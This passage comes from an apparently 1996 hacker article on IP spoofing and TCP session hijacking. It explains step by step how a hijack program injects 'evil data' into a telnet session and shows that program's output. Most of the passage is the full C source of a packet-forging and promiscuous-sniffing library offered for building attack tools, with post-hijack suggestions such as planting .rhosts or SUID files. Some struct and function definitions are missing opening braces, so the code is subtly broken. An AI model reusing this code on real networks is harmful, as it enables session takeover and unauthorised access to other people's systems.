  714.    NOTE: Noone says you have to make a .rhosts file (rlogin and 
  715.          family might be disabled), you can change permissions, put 
  716.          stuff SUID, put it public, install stuff, mail, etc.. 
  717.  
  718. Discussion of the program (numbers correspond with those of 'An Actual 
  719. Attack'):
  720.  
  721. 1) wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0);
  722.  
  723.    Waiting for actual data (PSH is always used for packets containing 
  724.    data in interactive services like TELNET)
  725.  
  726. 2) N/A
  727.  
  728. 3) N/A
  729.  
  730. 4) sp_seq=attack_info.seq+attack_info.datalen;
  731.    sp_ack=attack_info.ack;
  732.    transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,
  733.                                                      23,sp_seq,sp_ack,ACK|PSH);
  734.  
  735.    We recalculate the sequence number (using SEQ and datalength of packet 1)
  736.    an we send a spoofed packet with ACK and PSH flag, containing the 
  737.    cleanup data in to_data.
  738.  
  739. 5) while(count<5)
  740.         {
  741.         wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
  742.         if(attack_info.ack==sp_seq+sizeof(to_data))
  743.                 count=PERSONAL_TOUCH;
  744.         else count++;
  745.         };
  746.  
  747.    We wait for a confirmation that our spoofed sequence is accepted. We 
  748.    expect a packet with an ACK set (PSH or not). It should come within 5  
  749.    packets, we use this limit, because we should be able to handle some 
  750.    previous ACK packets!
  751.    NOTE we don't check SEQ nrs, because we have no clue of what they are 
  752.         going to be (data might have been send our way, or not).
  753.  
  754. 6) while(count<10)
  755.         {
  756.         old_seq=serv_seq;
  757.         old_ack=serv_ack;
  758.         wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P, 
  759.                                                                      ACK,0);
  760.     if(attack_info.datalen==0)
  761.           {
  762.           serv_seq=attack_info.seq+attack_info.datalen;
  763.           serv_ack=attack_info.ack;
  764.           if( (old_seq==serv_seq)&&(serv_ack==old_ack) )
  765.                 count=PERSONAL_TOUCH;
  766.           else count++;
  767.           }
  768.         };
  769.  
  770.    To get back on track, we try to receive 2 ACK packets without data 
  771.    with the same SEQ/ACK. We know enough packets will be send as a 
  772.    response to incorrect packets from the confused host A.
  773.    This is how we get back on track. 
  774.    NOTE In a case where A completely gave up, simple spoof a packet with 
  775.         incorrect SEQ/ACK to get the correct numbers back.
  776.  
  777. 7) transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P,
  778.                                       SERVER,23,serv_ack,serv_seq,ACK|PSH);
  779.  
  780.    Pretty clear....
  781.  
  782. 8) while(count<5)
  783.         {
  784.         wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
  785.         if(attack_info.ack==serv_ack+sizeof(evil_data))
  786.                 count=PERSONAL_TOUCH;
  787.         else count++;
  788.         };
  789.  
  790.    and again waiting for confirmation.
  791.  
  792.    NOTE after the above attack, hijack had produced the following output:
  793.  
  794.    Starting Hijacking demo - Brecht Claerhout 1996
  795.    -----------------------------------------------
  796.  
  797.    Takeover phase 1: Stealing connection.
  798.      Sending Spoofed clean-up data...
  799.      Waiting for spoof to be confirmed...
  800.    Phase 1 ended.
  801.  
  802.    Takeover phase 2: Getting on track with SEQ/ACK's again
  803.      Server SEQ: C34A680B (hex)    ACK: 5C8223F5 (hex)
  804.    Phase 2 ended.
  805.  
  806.    Takeover phase 3: Sending MY data.
  807.      Sending evil data.
  808.      Waiting for evil data to be confirmed...
  809.    Phase 3 ended.                                 
  810.  
  811. 4.5 Other
  812. ---------
  813.  
  814. This list is far from complete, I'm sure you can think of other nice things 
  815. to do with this information, think, experiment and code!
  816.  
  817.  
  818. 5. The source code
  819. ------------------
  820.  
  821. ---=[ spoofit.h ]=------------------------------------------------------------
  822. /**************************************************************************/
  823. /* Spoofit.h - Include file for easy creating of spoofed TCP packets      */
  824. /*             Requires LINUX 1.3.x (or later) Kernel                     */
  825. /*             (illustration for 'A short overview of IP spoofing')       */
  826. /*             V.1 - Copyright 1996 - Brecht Claerhout                    */
  827. /*                                                                        */
  828. /*  Purpose - Providing skilled people with a easy to use spoofing source */
  829. /*            I used it to be able to write my tools fast and short.      */
  830. /*            Mind you this is only illustrative and can be easily        */
  831. /*            optimised.                                                  */ 
  832. /*                                                                        */
  833. /*  Author - Brecht Claerhout <Coder@reptile.rug.ac.be>                   */
  834. /*           Serious advice, comments, statements, greets, always welcome */
  835. /*           flames, moronic 3l33t >/dev/null                             */
  836. /*                                                                        */
  837. /*  Disclaimer - This file is for educational purposes only. I am in      */
  838. /*               NO way responsible for what you do with this file,       */
  839. /*               or any damage you or this file causes.                   */
  840. /*                                                                        */
  841. /*  For whom - People with a little knowledge of TCP/IP, C source code    */
  842. /*             and general UNIX. Otherwise, please keep your hands of,    */
  843. /*             and catch up on those things first.                        */
  844. /*                                                                        */
  845. /*  Limited to - Linux 1.3.X or higher.                                   */
  846. /*               If you know a little about your OS, shouldn't be to hard */
  847. /*               to port.                                                 */
  848. /*                                                                        */ 
  849. /* Important note - You might have noticed I use non standard packet      */
  850. /*                  header struct's. How come?? Because I started like    */
  851. /*                  that on Sniffit because I wanted to do the            */
  852. /*                  bittransforms myself.                                 */
  853. /*                  Well I got so damned used to them, I keep using them, */
  854. /*                  they are not very different, and not hard to use, so  */
  855. /*                  you'll easily use my struct's without any problem,    */
  856. /*                  this code and the examples show how to use them.      */ 
  857. /*                  my apologies for this inconvenience.                  */
  858. /*                                                                        */
  859. /* None of this code can be used in commercial software. You are free to  */
  860. /* use it in any other non-commercial software (modified or not) as long  */
  861. /* as you give me the credits for it. You can spread this include file,   */
  862. /* but keep it unmodified.                                                */
  863. /*                                                                        */
  864. /**************************************************************************/
  865. /*                                                                        */
  866. /* Easiest way to understand this library is to look at the use of it, in */
  867. /* the example progs.                                                     */
  868. /*                                                                        */
  869. /**** Sending packets *****************************************************/
  870. /*                                                                        */ 
  871. /* int open_sending (void)                                                */ 
  872. /*   Returns a filedescriptor to the sending socket.                      */
  873. /*   close it with close (int filedesc)                                   */
  874. /*                                                                        */ 
  875. /* void transmit_TCP (int sp_fd, char *sp_data,                           */
  876. /*                  int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,  */
  877. /*                    char *sp_source, unsigned short sp_source_port,     */ 
  878. /*                    char *sp_dest,unsigned short sp_dest_port,          */ 
  879. /*                    unsigned long sp_seq, unsigned long sp_ack,         */ 
  880. /*                    unsigned short sp_flags)                            */ 
  881. /*   fire data away in a TCP packet                                       */
  882. /*    sp_fd         : raw socket filedesc.                                */ 
  883. /*    sp_data       : IP options (you should do the padding)              */
  884. /*                    TCP options (you should do the padding)             */
  885. /*                    data to be transmitted                              */
  886. /*                    (NULL is nothing)                                   */
  887. /*                    note that all is optional, and IP en TCP options are*/
  888. /*                    not often used.                                     */
  889. /*                    All data is put after eachother in one buffer.      */
  890. /*    sp_ipoptlen   : length of IP options (in bytes)                     */
  891. /*    sp_tcpoptlen  : length of TCP options (in bytes)                    */
  892. /*    sp_datalen    : amount of data to be transmitted (bytes)            */
  893. /*    sp_source     : spoofed host that"sends packet"                     */
  894. /*    sp_source_port: spoofed port that "sends packet"                    */
  895. /*    sp_dest       : host that should receive packet                     */
  896. /*    sp_dest_port  : port that should receive packet                     */
  897. /*    sp_seq        : sequence number of packet                           */
  898. /*    sp_ack        : ACK of packet                                       */
  899. /*    sp_flags      : flags of packet (URG,ACK,PSH,RST,SYN,FIN)           */
  900. /*                                                                        */
  901. /* void transmit_UDP (int sp_fd, char *sp_data,                           */
  902. /*                    int sp_ipoptlen, int sp_datalen,                    */
  903. /*              char *sp_source, unsigned short sp_source_port,     */
  904. /*                    char *sp_dest, unsigned short sp_dest_port)         */
  905. /*   fire data away in an UDP packet                                      */
  906. /*    sp_fd         : raw socket filedesc.                                */ 
  907. /*    sp_data       : IP options                                          */
  908. /*                    data to be transmitted                              */
  909. /*                    (NULL if none)                                      */
  910. /*    sp_ipoptlen   : length of IP options (in bytes)                     */
  911. /*    sp_datalen    : amount of data to be transmitted                    */ 
  912. /*    sp_source     : spoofed host that"sends packet"                     */
  913. /*    sp_source_port: spoofed port that "sends packet"                    */
  914. /*    sp_dest       : host that should receive packet                     */
  915. /*    sp_dest_port  : port that should receive packet                     */
  916. /*                                                                        */
  917. /**** Receiving packets ***************************************************/
  918. /*                                                                        */
  919. /* int open_receiving (char *rc_device, char mode)                        */
  920. /*   Returns fdesc to a receiving socket                                  */
  921. /*        (if mode: IO_HANDLE don't call this twice, global var           */
  922. /*         rc_fd_abc123 is  initialised)                                  */
  923. /*     rc_device: the device to use e.g. "eth0", "ppp0"                   */
  924. /*                be sure to change DEV_PREFIX accordingly!               */
  925. /*                DEV_PREFIX is the length in bytes of the header that    */
  926. /*                comes with a SOCKET_PACKET due to the network device    */
  927. /*     mode: 0: normal mode, blocking, (read will wait till packet        */ 
  928. /*           comes, mind you, we are in PROMISC mode)                     */
  929. /*           IO_NONBLOCK: non-blocking mode (read will not wait till      */
  930. /*           usefull for active polling)                                  */
  931. /*           IO_HANDLE installs the signal handler that updates SEQ,ACK,..*/
  932. /*           (IO_HANDLE is not recommended to use, as it should be        */
  933. /*           modified according to own use, and it works bad on heavy     */
  934. /*           traffic continuous monitoring. I needed it once, but left it */
  935. /*           in to make you able to have a look at Signal handled IO,     */
  936. /*           personally I would have removed it, but some thought it      */
  937. /*           doesn't do any harm anyway, so why remove... )               */ 
  938. /*           (I'm not giving any more info on IO_HANDLE as it is not      */
  939. /*           needed for the example programs, and interested people can   */
  940. /*           easilythey figure the code out theirselves.)                 */
  941. /*           (Besides IO_HANDLE can only be called ONCE in a program,     */
  942. /*           other modes multiple times)                                  */ 
  943. /*                                                                        */
  944. /* int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,           */
  945. /*                unsigned char *proto)                                  */
  946. /*        This waits for a packet (mode default) and puts it in buffer or */
  947. /*        returns whether there is a pack or not (IO_NONBLOCK).           */
  948. /*        It returns the packet length if there is one available, else 0  */
  949. /*                                                                        */
  950. /* int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,           */
  951. /*                  char *wp_source, unsigned short wp_source_port,       */
  952. /*                  char *wp_dest, unsigned short wp_dest_port,           */
  953. /*                int wp_flags, int wait_time);                         */
  954. /*   wp_fd: a receiving socket (default or IO_NONBLOCK)                   */
  955. /*   ret_values: pointer to a sp_wait_packet struct, that contains SEQ,   */
  956. /*               ACK, flags, datalen of that packet. For further packet   */
  957. /*               handling see the examples.                               */
  958. /*                  struct sp_wait_packet  {                              */
  959. /*                       unsigned long seq,ack;                            */
  960. /*                      unsigned short flags;                             */
  961. /*                      int datalen;                                      */
  962. /*                      };                                                */
  963. /*   wp_source, wp_source_port : sender of packet                         */
  964. /*   wp_dest, wp_dest_port     : receiver of packet                       */
  965. /*   wp_flags: flags that should be present in packet.. (mind you there   */
  966. /*             could be more present, so check on return)                 */
  967. /*             note: if you don't care about flag, use 0                  */
  968. /*   wait_time: if not zero, this function will return -1 if no correct   */
  969. /*              packet has arrived within wait_time secs.                 */
  970. /*              (only works on IO_NONBLOCK socket)                        */
  971. /*                                                                        */
  972. /* void set_filter (char *f_source, unsigned short f_source_port,         */
  973. /*                  char *f_dest, unsigned short f_dest_port)             */
  974. /*        (for use with IO_HANDLE)                                        */
  975. /*        Start the program to watch all trafic from source/port to       */
  976. /*        dest/port. This enables the updating of global data. Can        */ 
  977. /*        be called multiple times.                                       */
  978. /*                                                                        */
  979. /* void close_receiving (void)                                            */
  980. /*           When opened a IO_HANDLE mode receiving socket close it with  */
  981. /*           this.                                                        */
  982. /*                                                                        */
  983. /**** Global DATA (IO_HANDLE mode) ****************************************/
  984. /*                                                                        */
  985. /* When accessing global data, copy the values to local vars and then use */
  986. /* them. Reduce access time to a minimum.                                 */
  987. /* Mind you use of this is very limited, if you are a novice on IO, just  */
  988. /* ignore it, the other functions are good enough!). If not, rewrite the  */
  989. /* handler for your own use...                                            */
  990. /*                                                                        */
  991. /* sig_atomic_t SP_DATA_BUSY                                              */
  992. /*        Put this on NON-ZERO when accesing global data. Incoming        */
  993. /*        packets will be ignored then, data can not be overwritten.      */
  994. /*                                                                        */
  995. /* unsigned long int CUR_SEQ, CUR_ACK;                                    */
  996. /*        Last recorded SEQ and ACK number of the filtered "stream".      */
  997. /*        Before accessing this data set SP_DATA_BUSY non-zero,           */
  998. /*        afterward set it back to zero.                                  */
  999. /*                                                                        */
  1000. /* unsigned long int CUR_COUNT;                                           */
  1001. /*        increased everytime other data is updated                       */
  1002. /*                                                                        */
  1003. /* unsigned int CUR_DATALEN;                                              */
  1004. /*      Length of date in last TCP packet                      */
  1005. /*                                                                        */
  1006. /**************************************************************************/
  1007.  
  1008. #include "sys/socket.h"       /* includes, what would we do without them  */
  1009. #include "netdb.h"
  1010. #include "stdlib.h"
  1011. #include "unistd.h"
  1012. #include "stdio.h"
  1013. #include "errno.h"
  1014. #include "netinet/in.h"
  1015. #include "netinet/ip.h"
  1016. #include "linux/if.h"
  1017. #include "sys/ioctl.h"
  1018. #include "sys/types.h"
  1019. #include "signal.h"
  1020. #include "fcntl.h"
  1021.  
  1022. #undef  DEBUG 
  1023. #define IP_VERSION     4                 /* keep y'r hands off...         */
  1024. #define MTU         1500 
  1025. #define IP_HEAD_BASE     20                /* using fixed lengths to send   */ 
  1026. #define TCP_HEAD_BASE     20                /* no options etc...             */ 
  1027. #define UDP_HEAD_BASE     8                 /* Always fixed                  */ 
  1028.  
  1029. #define IO_HANDLE    1
  1030. #define IO_NONBLOCK    2
  1031.  
  1032. int DEV_PREFIX = 9999;        
  1033. sig_atomic_t WAIT_PACKET_WAIT_TIME=0;
  1034.  
  1035. /**** IO_HANDLE ************************************************************/
  1036. int rc_fd_abc123;
  1037. sig_atomic_t RC_FILTSET=0;
  1038. char rc_filter_string[50];                       /* x.x.x.x.p-y.y.y.y.g  */
  1039.  
  1040. sig_atomic_t SP_DATA_BUSY=0;
  1041. unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0;
  1042. unsigned int CUR_DATALEN;
  1043. unsigned short CUR_FLAGS;
  1044. /***************************************************************************/
  1045.  
  1046. struct sp_wait_packet
  1047. {
  1048.     unsigned long seq,ack;
  1049.     unsigned short flags;
  1050.     int datalen;
  1051. };
  1052.             
  1053. /* Code from Sniffit - BTW my own program.... no copyright violation here */ 
  1054. #define URG 32       /* TCP flags */
  1055. #define ACK 16 
  1056. #define PSH 8 
  1057. #define RST 4
  1058. #define SYN 2 
  1059. #define FIN 1 
  1060.  
  1061. struct PACKET_info
  1062. {
  1063.     int len, datalen;    
  1064.     unsigned long int seq_nr, ACK_nr;
  1065.     u_char FLAGS;
  1066. };
  1067.  
  1068. struct IP_header                        /* The IPheader (without options) */
  1069.         unsigned char verlen, type;
  1070.         unsigned short length, ID, flag_offset;
  1071.         unsigned char TTL, protocol;
  1072.         unsigned short checksum;
  1073.         unsigned long int source, destination;
  1074. };
  1075.  
  1076. struct TCP_header                     /* The TCP header (without options) */
  1077. {
  1078.         unsigned short source, destination;
  1079.         unsigned long int seq_nr, ACK_nr;
  1080.         unsigned short offset_flag, window, checksum, urgent;
  1081. };
  1082.  
  1083. struct UDP_header                                      /* The UDP header */
  1084. {
  1085.         unsigned short source, destination;
  1086.         unsigned short length, checksum;
  1087. };
  1088.            
  1089. struct pseudo_IP_header          /* The pseudo IP header (checksum calc) */ 
  1090. {
  1091.         unsigned long int source, destination;
  1092.     char zero_byte, protocol;
  1093.     unsigned short TCP_UDP_len;
  1094. };
  1095.  
  1096. /* data structure for argument passing  */
  1097.  
  1098. struct sp_data_exchange    {
  1099.     int fd;                                /* Sh!t from transmit_TCP  */
  1100.     char *data; 
  1101.     int datalen;
  1102.     char *source; unsigned short source_port;
  1103.     char *dest;   unsigned short dest_port;
  1104.         unsigned long seq, ack; 
  1105.         unsigned short flags;
  1106.  
  1107.     char *buffer;               /* work buffer */
  1108.  
  1109.         int IP_optlen;           /* IP options length in bytes  */
  1110.         int TCP_optlen;           /* TCP options length in bytes */
  1111.     };
  1112.  
  1113. /**************** all functions  *******************************************/
  1114. void transmit_TCP (int fd, char *sp_data, 
  1115.                     int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
  1116.                    char *sp_source, unsigned short sp_source_port,
  1117.                char *sp_dest, unsigned short sp_dest_port,
  1118.                            unsigned long sp_seq, unsigned long sp_ack, 
  1119.                            unsigned short sp_flags);
  1120.  
  1121. void transmit_UDP (int sp_fd, char *sp_data, 
  1122.                int  ipoptlen, int sp_datalen, 
  1123.                    char *sp_source, unsigned short sp_source_port,
  1124.                char *sp_dest, unsigned short sp_dest_port);
  1125.  
  1126. int get_packet (int rc_fd, char *buffer, int *, unsigned char*);
  1127. int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int);
  1128.  
  1129. static unsigned long sp_getaddrbyname(char *);
  1130.  
  1131. int open_sending (void);
  1132. int open_receiving (char *, char);
  1133. void close_receiving (void);
  1134.  
  1135. void sp_send_packet (struct sp_data_exchange *, unsigned char);
  1136. void sp_fix_TCP_packet (struct sp_data_exchange *);
  1137. void sp_fix_UDP_packet (struct sp_data_exchange *);
  1138. void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char);
  1139. unsigned short in_cksum(unsigned short *, int );
  1140.  
  1141. void rc_sigio (int);
  1142. void set_filter (char *, unsigned short, char *, unsigned short);
  1143.  
  1144. /********************* let the games commence ****************************/
  1145.  
  1146. static unsigned long sp_getaddrbyname(char *sp_name)
  1147. {
  1148. struct hostent *sp_he;
  1149. int i;
  1150.  
  1151. if(isdigit(*sp_name))
  1152.   return inet_addr(sp_name);
  1153.  
  1154. for(i=0;i<100;i++)
  1155.      {
  1156.      if(!(sp_he = gethostbyname(sp_name)))
  1157.     {printf("WARNING: gethostbyname failure!\n");
  1158.     sleep(1);
  1159.     if(i>=3)       /* always a retry here in this kind of application */
  1160.        printf("Coudn't resolv hostname."), exit(1);
  1161.     }
  1162.      else break;
  1163.      }
  1164. return sp_he ? *(long*)*sp_he->h_addr_list : 0;
  1165. }
  1166.  
  1167. int open_sending (void)
  1168. {
  1169. struct protoent *sp_proto;   
  1170. int sp_fd;
  1171. int dummy=1;
  1172.  
  1173. /* they don't come rawer */
  1174. if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1) 
  1175.         perror("Couldn't open Socket."), exit(1);
  1176.  
  1177. #ifdef DEBUG
  1178.     printf("Raw socket ready\n");
  1179. #endif
  1180. return sp_fd;
  1181. }
  1182.  
  1183. void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto)
  1184. {
  1185. int sp_status;
  1186. struct sockaddr_in sp_server;
  1187. struct hostent *sp_help;
  1188. int HEAD_BASE;
  1189.  
  1190. /* Construction of destination */
  1191. bzero((char *)&sp_server, sizeof(struct sockaddr)); 
  1192. sp_server.sin_family = AF_INET;
  1193. sp_server.sin_addr.s_addr = inet_addr(sp->dest); 
  1194. if (sp_server.sin_addr.s_addr == (unsigned int)-1)
  1195.         {                      /* if target not in DOT/number notation */ 
  1196.         if (!(sp_help=gethostbyname(sp->dest))) 
  1197.           fprintf(stderr,"unknown host %s\n", sp->dest), exit(1);
  1198.         bcopy(sp_help->h_addr, (caddr_t)&sp_server.sin_addr, sp_help->h_length);
  1199.         };
  1200.  
  1201. switch(proto)
  1202.        {
  1203.     case 6: HEAD_BASE = TCP_HEAD_BASE;  break;                  /* TCP */
  1204.     case 17: HEAD_BASE = UDP_HEAD_BASE; break;                  /* UDP */
  1205.     default: exit(1); break;
  1206.     };
  1207. sp_status = sendto(sp->fd, (char *)(sp->buffer), sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen, 0, 
  1208.             (struct sockaddr *)&sp_server,sizeof(struct sockaddr)); 
  1209. if (sp_status < 0 || sp_status != sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen)
  1210.         {
  1211.         if (sp_status < 0)
  1212.           perror("Sendto"), exit(1);
  1213.         printf("hmm... Only transmitted %d of %d bytes.\n", sp_status, 
  1214.                         sp->datalen+HEAD_BASE);
  1215.         };
  1216. #ifdef DEBUG
  1217.     printf("Packet transmitted...\n");
  1218. #endif
  1219. }
  1220.  
  1221. void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto)
  1222. struct IP_header *sp_help_ip;
  1223. int HEAD_BASE;
  1224.  
  1225. switch(proto)
  1226.        {
  1227.     case 6: HEAD_BASE = TCP_HEAD_BASE;  break;                  /* TCP */
  1228.     case 17: HEAD_BASE = UDP_HEAD_BASE; break;                  /* UDP */
  1229.     default: exit(1); break;
  1230.     };
  1231.  
  1232. sp_help_ip = (struct IP_header *) (sp->buffer);
  1233. sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4);
  1234. sp_help_ip->type = 0;
  1235. sp_help_ip->length = htons(IP_HEAD_BASE+HEAD_BASE+sp->datalen+sp->IP_optlen+sp->TCP_optlen);
  1236. sp_help_ip->ID = htons(12545);                                  /* TEST */ 
  1237. sp_help_ip->flag_offset = 0;
  1238. sp_help_ip->TTL = 69;
  1239. sp_help_ip->protocol = proto;
  1240. sp_help_ip->source = sp_getaddrbyname(sp->source);
  1241. sp_help_ip->destination =  sp_getaddrbyname(sp->dest);
  1242. sp_help_ip->checksum=in_cksum((unsigned short *) (sp->buffer), 
  1243.                         IP_HEAD_BASE+sp->IP_optlen);
  1244. #ifdef DEBUG
  1245.     printf("IP header fixed...\n");
  1246. #endif
  1247. }
  1248.  
  1249. void sp_fix_TCP_packet (struct sp_data_exchange *sp)
  1250. char sp_pseudo_ip_construct[MTU];
  1251. struct TCP_header *sp_help_tcp;
  1252. struct pseudo_IP_header *sp_help_pseudo;
  1253. int i;
  1254.  
  1255. for(i=0;i<MTU;i++)
  1256.   {sp_pseudo_ip_construct[i]=0;}
  1257.  
  1258. sp_help_tcp = (struct TCP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
  1259. sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;
  1260.  
  1261. sp_help_tcp->offset_flag = htons( (((TCP_HEAD_BASE+sp->TCP_optlen)/4)<<12) | sp->flags); 
  1262. sp_help_tcp->seq_nr = htonl(sp->seq);
  1263. sp_help_tcp->ACK_nr = htonl(sp->ack);
  1264. sp_help_tcp->source = htons(sp->source_port);
  1265. sp_help_tcp->destination = htons(sp->dest_port);
  1266. sp_help_tcp->window = htons(0x7c00);             /* dummy for now 'wujx' */
  1267.  
  1268. sp_help_pseudo->source = sp_getaddrbyname(sp->source);
  1269. sp_help_pseudo->destination =  sp_getaddrbyname(sp->dest);
  1270. sp_help_pseudo->zero_byte = 0;
  1271. sp_help_pseudo->protocol = 6;
  1272. sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+TCP_HEAD_BASE+sp->TCP_optlen);
  1273.  
  1274. memcpy(sp_pseudo_ip_construct+12, sp_help_tcp, sp->TCP_optlen+sp->datalen+TCP_HEAD_BASE);
  1275. sp_help_tcp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct, 
  1276.                   sp->datalen+12+TCP_HEAD_BASE+sp->TCP_optlen);
  1277. #ifdef DEBUG
  1278.     printf("TCP header fixed...\n");
  1279. #endif
  1280. }
  1281.  
  1282. void transmit_TCP (int sp_fd, char *sp_data, 
  1283.                int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, 
  1284.                    char *sp_source, unsigned short sp_source_port,
  1285.                char *sp_dest, unsigned short sp_dest_port,
  1286.                            unsigned long sp_seq, unsigned long sp_ack, 
  1287.                            unsigned short sp_flags)
  1288. {
  1289. char sp_buffer[1500];
  1290. struct sp_data_exchange sp_struct;
  1291.  
  1292. bzero(sp_buffer,1500);
  1293. if (sp_ipoptlen!=0) 
  1294.     memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
  1295.  
  1296. if (sp_tcpoptlen!=0) 
  1297.     memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen,
  1298.                                 sp_data+sp_ipoptlen,sp_tcpoptlen);
  1299. if (sp_datalen!=0) 
  1300.     memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen,
  1301.             sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen);
  1302.  
  1303. sp_struct.fd          = sp_fd; 
  1304. sp_struct.data        = sp_data;
  1305. sp_struct.datalen     = sp_datalen;
  1306. sp_struct.source      = sp_source;
  1307. sp_struct.source_port = sp_source_port;
  1308. sp_struct.dest        = sp_dest;
  1309. sp_struct.dest_port   = sp_dest_port;
  1310. sp_struct.seq         = sp_seq;
  1311. sp_struct.ack         = sp_ack;
  1312. sp_struct.flags       = sp_flags;
  1313. sp_struct.buffer      = sp_buffer;
  1314. sp_struct.IP_optlen   = sp_ipoptlen;          
  1315. sp_struct.TCP_optlen  = sp_tcpoptlen;          
  1316.  
  1317. sp_fix_TCP_packet(&sp_struct);
  1318. sp_fix_IP_packet(&sp_struct, 6);
  1319. sp_send_packet(&sp_struct, 6);
  1320. }
  1321.  
  1322. void sp_fix_UDP_packet (struct sp_data_exchange *sp)
  1323. char sp_pseudo_ip_construct[MTU];
  1324. struct UDP_header *sp_help_udp;
  1325. struct pseudo_IP_header *sp_help_pseudo;
  1326. int i;
  1327.  
  1328. for(i=0;i<MTU;i++)
  1329.   {sp_pseudo_ip_construct[i]=0;}
  1330.  
  1331. sp_help_udp = (struct UDP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
  1332. sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;
  1333.  
  1334. sp_help_udp->source = htons(sp->source_port);
  1335. sp_help_udp->destination = htons(sp->dest_port);
  1336. sp_help_udp->length =  htons(sp->datalen+UDP_HEAD_BASE);
  1337.  
  1338. sp_help_pseudo->source = sp_getaddrbyname(sp->source);
  1339. sp_help_pseudo->destination =  sp_getaddrbyname(sp->dest);
  1340. sp_help_pseudo->zero_byte = 0;
  1341. sp_help_pseudo->protocol = 17;
  1342. sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+UDP_HEAD_BASE);
  1343.  
  1344. memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp->datalen+UDP_HEAD_BASE);
  1345. sp_help_udp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct, 
  1346.                              sp->datalen+12+UDP_HEAD_BASE);
  1347. #ifdef DEBUG
  1348.     printf("UDP header fixed...\n");
  1349. #endif
  1350. }
  1351.  
  1352. void transmit_UDP (int sp_fd, char *sp_data, 
  1353.                int sp_ipoptlen, int sp_datalen, 
  1354.                    char *sp_source, unsigned short sp_source_port,
  1355.                char *sp_dest, unsigned short sp_dest_port)
  1356. {
  1357. char sp_buffer[1500];
  1358. struct sp_data_exchange sp_struct;
  1359.  
  1360. bzero(sp_buffer,1500);
  1361.  
  1362. if (sp_ipoptlen!=0) 
  1363.     memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
  1364. if (sp_data!=NULL) 
  1365.     memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen,
  1366.                          sp_data+sp_ipoptlen,sp_datalen);
  1367. sp_struct.fd          = sp_fd; 
  1368. sp_struct.data        = sp_data;
  1369. sp_struct.datalen     = sp_datalen;
  1370. sp_struct.source      = sp_source;
  1371. sp_struct.source_port = sp_source_port;
  1372. sp_struct.dest        = sp_dest;
  1373. sp_struct.dest_port   = sp_dest_port;
  1374. sp_struct.buffer      = sp_buffer;
  1375. sp_struct.IP_optlen   = sp_ipoptlen;
  1376. sp_struct.TCP_optlen  = 0;
  1377.  
  1378. sp_fix_UDP_packet(&sp_struct);
  1379. sp_fix_IP_packet(&sp_struct, 17);
  1380. sp_send_packet(&sp_struct, 17);
  1381. }
  1382.  
  1383. /* This routine stolen from ping.c -- HAHAHA!*/
  1384. unsigned short in_cksum(unsigned short *addr,int len)
  1385. {
  1386. register int nleft = len;
  1387. register unsigned short *w = addr;
  1388. register int sum = 0;
  1389. unsigned short answer = 0;
  1390.         
  1391. while (nleft > 1)
  1392.         { 
  1393.         sum += *w++;
  1394.         nleft -= 2;
  1395.         }
  1396. if (nleft == 1)
  1397.         {
  1398.         *(u_char *)(&answer) = *(u_char *)w ;
  1399.         sum += answer;
  1400.         }
  1401. sum = (sum >> 16) + (sum & 0xffff);
  1402. sum += (sum >> 16);
  1403. answer = ~sum;
  1404. return(answer);
  1405. }
  1406.  
  1407. /************************* Receiving department  ****************************/
  1408.  
  1409. int open_receiving (char *rc_device, char mode)
  1410. {
  1411. int or_fd;
  1412. struct sigaction rc_sa;
  1413. int fcntl_flag;
  1414. struct ifreq ifinfo;
  1415. char test;
  1416.  
  1417. /* create snoop socket and set interface promisc */
  1418. if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1) 
  1419.         perror("Couldn't open Socket."), exit(1);
  1420. strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device);
  1421. if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0)
  1422.     perror("Couldn't get flags."), exit(1);
  1423. ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC;
  1424. if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0)
  1425.     perror("Couldn't set flags. (PROMISC)"), exit(1);
  1426.  
  1427. if(mode&IO_HANDLE)
  1428.     {        /* install handler */
  1429.     rc_sa.sa_handler=rc_sigio;        /* we don't use signal()        */
  1430.     sigemptyset(&rc_sa.sa_mask);      /* because the timing window is */
